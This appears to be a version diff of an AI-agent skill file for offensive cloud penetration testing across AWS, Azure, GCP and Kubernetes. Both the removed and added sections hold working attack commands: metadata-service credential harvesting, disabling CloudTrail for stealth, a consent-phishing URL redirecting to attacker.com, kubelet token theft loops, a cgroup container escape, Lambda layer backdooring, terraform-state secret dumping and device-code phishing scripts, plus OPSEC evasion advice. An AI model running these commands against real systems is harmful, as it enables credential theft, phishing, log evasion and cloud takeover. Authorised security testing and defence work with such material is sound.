git:20260528.d7929c4 to git:20260628.d1cc1ce

88 added, 431 removed. Audit B to A.

---

name: cloud-security

- description: Cloud penetration testing — AWS/Azure/GCP privilege escalation, container escape, Kubernetes attacks, serverless exploitation, IaC misconfigurations

+ description: Cloud attack paths across AWS/Azure/GCP — IAM/identity privilege escalation, IMDS/metadata SSRF, Entra device-code & PRT theft, GCP impersonation chains, Kubernetes/container escape, and IaC/CI-CD federation abuse

metadata:

type: offensive

phase: exploitation

- tools: pacu, prowler, scoutsuite, trivy, kubectl, aws-cli, az-cli, gcloud, cloudfox, peirates

+ tools: pacu, cloudfox, scoutsuite, prowler, trivy, kubectl, aws-cli, az-cli, gcloud, peirates, mkat, azurehound, roadtools, stratus-red-team, kube-bench

+ mitre: [T1078.004, T1552.005, T1098.001, T1528, T1611, T1548]

kill_chain:

phase: [recon, exploit]

step: [1, 4]

- attck_tactics: [TA0043, TA0002, TA0004]

+ attck_tactics: [TA0043, TA0001, TA0004, TA0008, TA0006]

+ attck_techniques: [T1078.004, T1552.005, T1552.007, T1098.001, T1098.003, T1528, T1606.002, T1611, T1610, T1134.001, T1548, T1538]

depends_on: [recon-osint]

- feeds_into: [exploit-development]

- inputs: [cloud_config, iam_policies]

- outputs: [cloud_misconfig_list, finding_record, attack_path]

+ feeds_into: [exploit-development, active-directory-attack, advanced-redteam]

+ inputs: [cloud_config, iam_policies, kubeconfig, ci_cd_config]

+ outputs: [cloud_misconfig_list, finding_record, attack_path, stolen_credentials]

+ references:

+ - references/aws-iam-privesc.md

+ - references/imds-metadata-ssrf.md

+ - references/azure-entra-attacks.md

+ - references/gcp-attacks.md

+ - references/kubernetes-container-escape.md

+ - references/iac-secrets-ci-cd.md

+ scripts:

+ - scripts/aws_privesc_enum.py

+ - scripts/imds_harvester.py

+ - scripts/entra_device_code_phish.py

+ - scripts/gcp_impersonation_mapper.py

+ - scripts/k8s_can_i_abuse.py

+ - scripts/oidc_trust_auditor.py

---

# Cloud Security & Attack

## When to Activate

- - Cloud infrastructure penetration testing

- - AWS/Azure/GCP privilege escalation

- - Container and Kubernetes security assessment

- - Serverless function exploitation

- - IaC (Terraform/CloudFormation) security review

- - Cloud credential abuse and lateral movement

- ## AWS Attacks

- ### Initial Enumeration

- ```bash

- # Caller identity

- aws sts get-caller-identity

- # Account enumeration

- aws iam list-users

- aws iam list-roles

- aws iam list-policies --only-attached

- aws iam get-account-authorization-details # full dump

- # S3 enumeration

- aws s3 ls

- aws s3 ls s3://bucket-name --recursive

- aws s3api get-bucket-acl --bucket bucket-name

- aws s3api get-bucket-policy --bucket bucket-name

- # EC2

- aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,State.Name,PublicIpAddress,IamInstanceProfile.Arn]'

- # Lambda

- aws lambda list-functions

- aws lambda get-function --function-name NAME # includes download link

- aws lambda get-policy --function-name NAME

- ```

- ### Privilege Escalation

- ```bash

- # Pacu (automated AWS exploitation)

- pacu

- > import_keys --all

- > run iam__enum_permissions

- > run iam__privesc_scan

- > run iam__bruteforce_permissions

- # Common privesc paths:

- # iam:CreatePolicyVersion → create admin policy version

- # iam:SetDefaultPolicyVersion → activate old permissive version

- # iam:AttachUserPolicy → attach AdministratorAccess

- # iam:CreateLoginProfile → create console password for any user

- # iam:UpdateLoginProfile → change any user's password

- # iam:PassRole + lambda:CreateFunction → create Lambda with admin role

- # iam:PassRole + ec2:RunInstances → launch EC2 with admin role

- # sts:AssumeRole → assume cross-account admin role

- # lambda:UpdateFunctionCode → inject code into existing Lambda

- # SSRF to IMDS

- curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

- curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

- # Returns: AccessKeyId, SecretAccessKey, Token

- ```

- ### Post-Exploitation

- ```bash

- # Secrets Manager / Parameter Store

- aws secretsmanager list-secrets

- aws secretsmanager get-secret-value --secret-id NAME

- aws ssm get-parameters-by-path --path "/" --recursive --with-decryption

- # RDS snapshots (public)

- aws rds describe-db-snapshots --snapshot-type public

- # CloudTrail disruption (stealth)

- aws cloudtrail describe-trails

- aws cloudtrail stop-logging --name trail-name # LOUD but effective

- # Better: use regions without CloudTrail, or use API calls that aren't logged

- ```

- ## Azure Attacks

- ### Enumeration

- ```bash

- # Azure AD enumeration

- az ad user list

- az ad group list

- az ad app list

- az role assignment list --all

- # Resource enumeration

- az resource list

- az vm list

- az storage account list

- az keyvault list

- # Token from IMDS

- curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

- ```

- ### Privilege Escalation

- ```bash

- # Managed Identity abuse

- # Any Azure resource with MI can request tokens for other services

- # Automation Account RunAs

- # Extract certificate → authenticate as service principal

- # Key Vault access

- az keyvault secret list --vault-name VAULT

- az keyvault secret show --vault-name VAULT --name SECRET

- # Azure AD Connect (on-prem sync)

- # Extract credentials from ADSync database → DCSync

- # Consent grant attack

- # Illicit consent: trick admin into granting app permissions

- # Application with Mail.Read, Files.ReadWrite.All

- ```

- ## GCP Attacks

- ```bash

- # Service account enumeration

- gcloud iam service-accounts list

- gcloud projects get-iam-policy PROJECT_ID

- # Metadata server

- curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

- # Privilege escalation

- # iam.serviceAccountKeys.create → create key for any SA

- # iam.serviceAccounts.actAs → impersonate service account

- # compute.instances.setMetadata → add SSH key to any VM

- # deploymentmanager.deployments.create → deploy as project editor

- # Storage bucket enumeration

- gsutil ls

- gsutil ls gs://bucket-name

- gsutil cp gs://bucket-name/secret.txt .

- ```

- ## Kubernetes Attacks

- ### Enumeration

- ```bash

- # Check permissions

- kubectl auth can-i --list

- kubectl get secrets --all-namespaces

- kubectl get pods --all-namespaces

- # Service account token

- cat /var/run/secrets/kubernetes.io/serviceaccount/token

- # Use with: kubectl --token=$TOKEN --server=https://kubernetes.default.svc

- # API server direct

- curl -k https://kubernetes.default.svc/api/v1/namespaces/default/secrets \

- -H "Authorization: Bearer $TOKEN"

- ```

- ### Exploitation

- ```bash

- # Privileged pod escape

- # If privileged: mount host filesystem

- nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

- # Pod with hostPID/hostNetwork

- # Access host processes, network stack

- # Writable hostPath mount

- # Write to /etc/cron.d/ on host

- # Peirates (k8s pentesting tool)

- peirates

- > get-secrets

- > attack-mount-host-filesystem

- ```

- ### Container Escape

- ```bash

- # Docker socket mounted

- docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host

- # Privileged container

- mount /dev/sda1 /mnt

- chroot /mnt

- # CVE-based escapes

- # CVE-2019-5736 (runc) — overwrite host runc binary

- # CVE-2020-15257 (containerd) — abstract socket access

- # CVE-2022-0185 — file_system_context heap overflow

- ```

- ## IaC Security Review

- ### Terraform Misconfigurations

- ```hcl

- # Dangerous patterns to flag:

- # - Security groups with 0.0.0.0/0 ingress

- # - S3 buckets without encryption or public access block

- # - IAM policies with "*" actions/resources

- # - RDS instances publicly accessible

- # - CloudTrail logging disabled

- # - KMS keys without rotation

- # - Lambda functions with admin roles

- ```

- ### Tools

- ```bash

- # Automated scanning

- prowler aws --severity critical high

- scoutsuite aws

- trivy config ./terraform/

- checkov -d ./terraform/

- tfsec ./terraform/

- ```

- ## Advanced: AWS Exploitation Chains

- ### IMDSv2 Bypass

- ```bash

- # IMDSv2 requires PUT with hop limit=1 — bypass via SSRF in same host

- # If SSRF target is on same EC2, hop limit doesn't decrement

- TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

- curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

- # DNS rebinding to bypass IMDSv2 hop limit from external SSRF

- # Attacker DNS resolves to target IP first, then 169.254.169.254

- # Browser/HTTP client reuses connection → bypasses hop limit

- ```

- ### Lambda → IAM Role Chaining

- ```bash

- # Lambda function with iam:PassRole + lambda:CreateFunction

- # Create new Lambda with more privileged role

- aws lambda create-function \

- --function-name escalate \

- --runtime python3.11 \

- --role arn:aws:iam::ACCOUNT:role/AdminRole \

- --handler index.handler \

- --zip-file fileb://payload.zip

- # Lambda → STS → Cross-account assume

- aws sts assume-role --role-arn arn:aws:iam::TARGET_ACCOUNT:role/CrossAccountRole \

- --role-session-name pwned

- ```

- ### S3 Confused Deputy

- ```bash

- # Service principal confused deputy via s3:PutBucketPolicy

- # Trick AWS service into accessing bucket on your behalf

- # Exploit: create bucket with same name as expected by service

- # Service writes sensitive data to attacker-controlled bucket

- # S3 bucket takeover via dangling CNAME

- # 1. Find CNAME pointing to deleted S3 bucket

- # 2. Create bucket with same name in any region

- # 3. Serve malicious content on victim's subdomain

- dig +short subdomain.target.com CNAME

- # Returns: target-bucket.s3.amazonaws.com (NoSuchBucket)

- aws s3 mb s3://target-bucket

- ```

- ### CloudFormation/Terraform State Exploitation

- ```bash

- # Terraform state file contains all secrets in plaintext

- aws s3 cp s3://terraform-state-bucket/prod/terraform.tfstate .

- cat terraform.tfstate | jq '.resources[].instances[].attributes | select(.password != null)'

- # CloudFormation exports (cross-stack references)

- aws cloudformation list-exports

- # Often contains VPC IDs, subnet IDs, security group IDs, RDS endpoints

- ```

- ### Cognito Identity Pool Misconfiguration

- ```bash

- # Unauthenticated role assumption via misconfigured identity pool

- aws cognito-identity get-id --identity-pool-id REGION:POOL_ID

- aws cognito-identity get-credentials-for-identity --identity-id REGION:ID

- # Returns temporary credentials — check what IAM role allows

- ```

- ## Advanced: Azure/Entra ID Attack Paths

- ### Azure AD Connect Exploitation

- ```powershell

- # Extract credentials from ADSync database (requires local admin on AADConnect server)

- # Method 1: Direct DB query

- sqlcmd -S "(localdb)\.\ADSync" -Q "SELECT private_key_xml, machine_key FROM mms_server_configuration"

- # Method 2: AADInternals

- Install-Module AADInternals

- Get-AADIntSyncCredentials

- # Returns: domain admin credentials used for sync

- # Method 3: DCSync with extracted creds

- impacket-secretsdump -just-dc domain/MSOL_USER:PASSWORD@DC_IP

- ```

- ### Managed Identity Token Theft

- ```bash

- # From compromised Azure VM/App Service/Function

- # System-assigned MI

- curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

- curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"

- curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/"

- # Use token to enumerate and pivot

- az login --identity

- az role assignment list --all --query "[?principalId=='MI_OBJECT_ID']"

- ```

- ### Illicit Consent Grant

- ```

- # 1. Register multi-tenant app with dangerous permissions

- # - Mail.Read, Files.ReadWrite.All, User.Read.All

- # 2. Send phishing link to admin:

- https://login.microsoftonline.com/common/oauth2/v2.0/authorize?

- client_id=ATTACKER_APP_ID&

- response_type=code&

- redirect_uri=https://attacker.com/callback&

- scope=https://graph.microsoft.com/.default&

- prompt=consent

- # 3. Admin grants consent → attacker has persistent access to tenant data

- ```

- ### Service Principal Certificate Auth

- ```bash

- # If you can read Key Vault or find .pfx file

- # Authenticate as service principal without password

- az login --service-principal -u APP_ID -p certificate.pem --tenant TENANT_ID

- # Or via MSAL

- from msal import ConfidentialClientApplication

- app = ConfidentialClientApplication(APP_ID, authority=f"https://login.microsoftonline.com/{TENANT}",

- client_credential={"private_key": open("key.pem").read(), "thumbprint": THUMBPRINT})

- token = app.acquire_token_for_client(scopes=["https://graph.microsoft.com/.default"])

- ```

- ## Advanced: Kubernetes Exploitation

- ### Pod Escape via /proc

- ```bash

- # From container with hostPID=true

- # Find host process, access its root filesystem

- ls /proc/1/root/ # host filesystem via PID 1 (init)

- cat /proc/1/root/etc/shadow

- chroot /proc/1/root /bin/bash

- # From container with CAP_SYS_PTRACE

- # Inject into host process

- nsenter -t 1 -m -u -i -n -p -- /bin/bash

- ```

+ - Cloud penetration test / red team against AWS, Azure (Entra ID), or GCP

+ - IAM / identity privilege escalation and cross-account or cross-tenant pivoting

+ - Compromised web app or SSRF reachable from cloud compute — harvest metadata credentials

+ - Kubernetes / container assessment, node breakout, cluster takeover

+ - CI/CD and IaC review: Terraform state, OIDC federation trust policies, pipeline secrets

+ - Post-exploitation: secret extraction, lateral movement, persistence in cloud control plane

- ### Kubelet API Exploitation (10250/tcp)

- ```bash

- # Unauthenticated kubelet API

- # List pods

- curl -sk https://NODE_IP:10250/pods | jq '.items[].metadata.name'

+ ## Technique Map

- # Execute commands in any pod

- curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER -d "cmd=id"

+ |-----------|--------|-----|-----------|--------|

+ | AWS IAM privesc (CreatePolicyVersion, PassRole, AttachPolicy) | T1098.001 | CWE-269 | references/aws-iam-privesc.md | scripts/aws_privesc_enum.py |

+ | AWS `sts:AssumeRoot` member-account escalation | T1078.004 | CWE-269 | references/aws-iam-privesc.md | scripts/aws_privesc_enum.py |

+ | Cross-account confused deputy / missing ExternalId | T1078.004 | CWE-441 | references/aws-iam-privesc.md | scripts/oidc_trust_auditor.py |

+ | IMDS / metadata SSRF credential theft (AWS/Azure/GCP) | T1552.005 | CWE-918 | references/imds-metadata-ssrf.md | scripts/imds_harvester.py |

+ | EKS node creds → IRSA / Pod Identity pivot | T1552.007 | CWE-668 | references/imds-metadata-ssrf.md | scripts/imds_harvester.py |

+ | Entra device-code phishing → PRT / device join | T1528 | CWE-287 | references/azure-entra-attacks.md | scripts/entra_device_code_phish.py |

+ | FOCI refresh-token family abuse | T1550.001 | CWE-613 | references/azure-entra-attacks.md | scripts/entra_device_code_phish.py |

+ | Azure Managed Identity / App-Admin → SP escalation | T1098.001 | CWE-269 | references/azure-entra-attacks.md | scripts/imds_harvester.py |

+ | GCP `actAs` + resource create impersonation chain | T1078.004 | CWE-269 | references/gcp-attacks.md | scripts/gcp_impersonation_mapper.py |

+ | GCP `serviceAccountTokenCreator` token chains | T1528 | CWE-269 | references/gcp-attacks.md | scripts/gcp_impersonation_mapper.py |

+ | Vertex AI P4SA / Ray head-node escalation | T1078.004 | CWE-732 | references/gcp-attacks.md | scripts/gcp_impersonation_mapper.py |

+ | Container escape (runc Leaky Vessels CVE-2024-21626) | T1611 | CWE-668 | references/kubernetes-container-escape.md | - |

+ | IngressNightmare (CVE-2025-1974) cluster takeover | T1190 | CWE-94 | references/kubernetes-container-escape.md | scripts/k8s_can_i_abuse.py |

+ | K8s RBAC privesc (pods/exec, token mount, node proxy) | T1078 | CWE-269 | references/kubernetes-container-escape.md | scripts/k8s_can_i_abuse.py |

+ | Terraform state secret extraction | T1552.001 | CWE-312 | references/iac-secrets-ci-cd.md | scripts/oidc_trust_auditor.py |

+ | OIDC federation trust-policy abuse (GitHub/TF Cloud) | T1199 | CWE-441 | references/iac-secrets-ci-cd.md | scripts/oidc_trust_auditor.py |

- # Get service account tokens from all pods

- for pod in $(curl -sk https://NODE_IP:10250/pods | jq -r '.items[].metadata.name'); do

- curl -sk "https://NODE_IP:10250/run/default/$pod/app" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

- done

- ```

+ ## Quick Start

- ### etcd Direct Access

```bash

- # If etcd is exposed (2379/tcp) without auth

- ETCDCTL_API=3 etcdctl --endpoints=http://ETCD_IP:2379 get / --prefix --keys-only

- # Get all secrets

- ETCDCTL_API=3 etcdctl --endpoints=http://ETCD_IP:2379 get /registry/secrets --prefix

- ```

+ # --- 0. Identify where you are ---

+ aws sts get-caller-identity # AWS

+ az account show && az ad signed-in-user show # Azure

+ gcloud auth list && gcloud config get-value project # GCP

- ### Container Escape Techniques

- ```bash

- # CVE-2024-21626 (runc process.cwd breakout)

- # Exploit: set working directory to /proc/self/fd/N pointing to host

- # Requires: ability to create container with specific cwd

+ # --- 1. AWS: enumerate then map privesc paths ---

+ python3 scripts/aws_privesc_enum.py --profile compromised --json paths.json

+ cloudfox aws --profile compromised all-checks # alt: broad inventory

+ pacu # > run iam__enum_permissions ; run iam__privesc_scan

- # cgroup escape (notify_on_release)

- mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

- echo 1 > /tmp/cgrp/x/notify_on_release

- host_path=$(sed -n 's/.*\perdir=$[^,]*$.*/\1/p' /etc/mtab)

- echo "$host_path/cmd" > /tmp/cgrp/release_agent

- echo '#!/bin/sh' > /cmd && echo "id > /output" >> /cmd && chmod +x /cmd

- sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

- cat /output

+ # --- 2. SSRF / metadata: harvest creds from a reachable compute target ---

+ python3 scripts/imds_harvester.py --ssrf "https://app/fetch?url=" --provider aws

+ python3 scripts/imds_harvester.py --local --provider azure --resource https://vault.azure.net/

- # OverlayFS escape (requires CAP_SYS_ADMIN)

- unshare -m -p --fork /bin/bash

- mount -t overlay overlay -o lowerdir=/,upperdir=/tmp/upper,workdir=/tmp/work /mnt

- # /mnt now has full host filesystem

- ```

+ # --- 3. Azure Entra: device-code phish for tokens (authorized phishing only) ---

+ python3 scripts/entra_device_code_phish.py --resource https://graph.microsoft.com \

+ --client-id 29d9ed98-a469-4536-ade2-f981bc1d605e # Auth Broker -> PRT path

- ## Advanced: Serverless Exploitation

+ # --- 4. GCP: build the service-account impersonation graph ---

+ python3 scripts/gcp_impersonation_mapper.py --project TARGET --out gcp_graph.json

- ### Lambda Environment Variable Extraction

- ```bash

- # Lambda env vars often contain secrets

- aws lambda get-function-configuration --function-name TARGET \

- --query 'Environment.Variables'

- # Common secrets: DB_PASSWORD, API_KEY, JWT_SECRET, AWS_ACCESS_KEY_ID

+ # --- 5. Kubernetes: what can this token do, and can we break out? ---

+ python3 scripts/k8s_can_i_abuse.py --kubeconfig ./kubeconfig

+ kubectl auth can-i --list ; peirates

- # From inside Lambda execution

- env | grep -i key

- env | grep -i secret

- env | grep -i password

- cat /proc/self/environ | tr '\0' '\n'

+ # --- 6. CI/CD + IaC: audit federation trust + dump state secrets ---

+ python3 scripts/oidc_trust_auditor.py --profile compromised

+ aws s3 cp s3://tf-state/prod/terraform.tfstate - | jq '.. | .password? // empty'

```

- ### Event Injection

- ```bash

- # S3 trigger manipulation — upload file that triggers Lambda with malicious event

- aws s3 cp malicious.json s3://trigger-bucket/

- # Lambda processes file content as trusted input → injection

- # SNS/SQS poisoning

- aws sqs send-message --queue-url QUEUE_URL \

- --message-body '{"action":"delete","target":"*"}'

- # If Lambda trusts message content without validation → arbitrary actions

+ ## OPSEC & Detection (summary)

- # API Gateway event injection

- # Manipulate headers/query params that become Lambda event fields

- curl -H "X-Forwarded-For: 127.0.0.1" \

- -H "X-Original-URL: /admin" \

- https://api-gw.execute-api.region.amazonaws.com/prod/endpoint

- ```

+ |-----------|-----------------|---------------------------------|------------|

+ | IAM privesc API calls | CloudTrail `CreatePolicyVersion`, `AttachUserPolicy`, `CreateLoginProfile` | Alert on IAM write by non-IAM-admin principal; GuardDuty `PrivilegeEscalation:IAMUser/*` | Use existing admin sessions; avoid bulk enum that trips anomaly detection |

+ | IMDS SSRF | VPC flow to 169.254.169.254 from web tier; STS use from new ASN | GuardDuty `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration*` (creds used off-instance) | Use creds from same egress IP where possible; creds expire — refresh fast |

+ | Entra device-code phish | Sign-in logs `authenticationProtocol=deviceCode`; Auth Broker client `29d9ed98-...`; new device registration | Sentinel device-code anomaly; CA "block device code flow" | Tokens valid even after password reset; device-join = MFA-resistant persistence |

+ | GCP impersonation | `GenerateAccessToken` / `generateAccessToken` in Admin Activity + Data Access logs | Alert on impersonation by principal lacking a documented chain | Requires Data Access (`DATA_READ`) audit logs enabled to see token minting |

+ | Container escape (runc) | New process from `/proc/self/fd/*` cwd; host binary writes; `nsenter` in container | Falco `Container escape`/`Drop and execute new binary`; runc ≤1.1.11 inventory | Overwrites host runc → noisy; prefer read-only host FS read for stealth |

+ | IngressNightmare | NGINX ingress pod loads `.so` from `/proc`; outbound from controller | Falco/Sysdig "IngressNightmare" shared-lib load; ingress-nginx < 1.11.5/1.12.1 | Exploit hits admission webhook (often internal-only) — low external noise |

+ | OIDC trust abuse | CloudTrail `AssumeRoleWithWebIdentity` from unexpected `sub`/repo | Alert on web-identity assume with mismatched `aud`/`sub`; RCP block | Wildcard `sub` (`org:foo*`) still exploitable; no creds needed |

- ### Lambda Layer Poisoning

- ```bash

- # Shared Lambda layers — if you can publish a layer version

- # Inject backdoor into commonly-used layer

- aws lambda publish-layer-version \

- --layer-name common-utils \

- --zip-file fileb://backdoored-layer.zip \

- --compatible-runtimes python3.11

+ ## Deep Dives

- # All functions using this layer now execute backdoor code

- # Layer code runs before function handler

- ```

+ - **references/aws-iam-privesc.md** — Classic + 2024 IAM escalation chains, `sts:AssumeRoot`, cross-account confused deputy / ExternalId, Cognito, secrets harvesting; detection per API.

+ - **references/imds-metadata-ssrf.md** — IMDSv1/v2 mechanics, SSRF bypasses, Azure & GCP metadata token theft, EKS node-cred → IRSA/Pod Identity lateral movement.

+ - **references/azure-entra-attacks.md** — Storm-2372 device-code → PRT → device-join chain, FOCI token families, Managed Identity abuse, Application Administrator → service principal → Global Admin.

+ - **references/gcp-attacks.md** — `actAs` + resource-create impersonation, `serviceAccountTokenCreator` chains, Cloud Functions takeover, Vertex AI ModeLeak/P4SA/Ray escalation.

+ - **references/kubernetes-container-escape.md** — runc Leaky Vessels (CVE-2024-21626), privileged/hostPID/Docker-socket escapes, IngressNightmare (CVE-2025-1974), RBAC primitives, kubelet/etcd.

+ - **references/iac-secrets-ci-cd.md** — Terraform state secret extraction, OIDC federation trust-policy abuse (GitHub Actions / Terraform Cloud), pipeline secret theft, RCP/SCP defenses.